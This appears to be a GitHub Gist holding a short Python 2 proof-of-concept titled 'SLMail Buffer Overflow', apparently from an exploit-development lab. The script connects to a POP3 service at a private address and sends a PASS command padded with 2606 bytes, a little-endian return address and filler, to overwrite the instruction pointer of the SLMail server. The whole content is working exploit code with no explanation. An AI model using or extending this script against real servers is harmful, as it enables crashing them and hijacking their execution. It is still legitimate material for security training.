Last active
May 24, 2019 14:34
-
-
Save loopspell/e647f8d4c9be280e72188a446e1934d8 to your computer and use it in GitHub Desktop.
SLMail Buffer Overflow
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
# adding RET to verify breakpoint hit in little endian format | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.settimeout(30) | |
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + 'C' * 350 | |
try: | |
print "\nSending Data..." | |
s.connect(('192.168.1.200',110)) | |
data = s.recv(1024) | |
s.send('USER test' +'\r\n') | |
data = s.recv(1024) | |
s.send('PASS ' + buffer + '\r\n') | |
print "\nSent Sucessfully" | |
except socket.timeout: | |
print "Could not connect to POP3 Service!" | |
exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment